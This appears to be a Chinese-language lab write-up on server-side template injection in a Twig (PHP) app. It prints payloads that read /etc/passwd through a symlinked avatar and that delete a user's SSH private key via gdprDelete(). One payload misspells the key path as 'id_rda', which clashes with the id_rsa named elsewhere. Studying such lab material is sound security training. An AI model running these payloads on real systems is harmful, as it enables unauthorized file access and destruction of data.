> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssti/ssti-with-custom-exploit.md).

# 带自定义利用的 SSTI

### 带有自定义利用的服务器端模板注入

该应用易受 SSTI 注入攻击。/ 目标是创建一个自定义 **exploit** 用于让你删除 `/home/carlos/.ssh/id_rsa`\*\* 文件。/ 可能与用户存在连接： `wiener:peter`.

#### 可注入点

该 **昵称** 字段存在漏洞：

```python
}}{{7*7
```

表达式会被求值。

<figure><img src="/files/c0baaa7de5196215ea563e7cdeb696645566913e" alt=""><figcaption></figcaption></figure>

通过触发错误：

```php
}}{{7/a
```

发现使用的引擎是 **Twig（PHP）**.

<figure><img src="/files/6b42b4d0ea8c25312441f8d98e42557c0f11b6c4" alt=""><figcaption></figcaption></figure>

#### D 函数功能劫持

可以通过以下方式定义自定义头像：

```php
user.setAvatar(PATH, 'image/jpg')
```

<figure><img src="/files/f2106b935fef7e0aa19c01e7396c0d1c70ba96b6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f2b7a1a2036c5382bb5a5543a4452b0140b218b9" alt="" width="496"><figcaption></figcaption></figure>

此机制会创建一个 **符号链接** 到任意可读文件。/ 因此，你可以通过下载头像来恢复你的内容。

#### 示例

读取 `/etc/passwd`

```php
user.setAvatar('/etc/passwd','image/jpg')
```

打开图片时即可访问该文件

<figure><img src="/files/510b6728eda2f6ea3f113074471ae5d1611e640c" alt=""><figcaption></figcaption></figure>

#### 代码分析 `User.php`

该 `/home/carlos/User.php` 文件显示：

<figure><img src="/files/30499b473e0085adfdcee93bf0892247c67edbd1" alt=""><figcaption></figcaption></figure>

\*\*该 `gdprDelete()` 函数实际上会删除符号链接所指向的文件。\*\*/ 这正是应该用于删除 `id_rsa`.

```php
user.setAvatar('/home/carlos/User.php','image/jpg')
```

```php
<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }


    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}

?>
```

#### 操作：删除 `/home/carlos/.ssh/id_rsa`

创建指向 Carlos SSH 密钥的符号链接

```php
user.setAvatar('/home/carlos/.ssh/id_rda','image/jpg')
```

通过以下方式触发删除：

```php
user.gdprDelete()
```

符号链接指向 `id_rsa`/ `gdprDelete()` 删除该 **目标** 链接 \*\*`id_rsa` 文件已删除。\*\*


---

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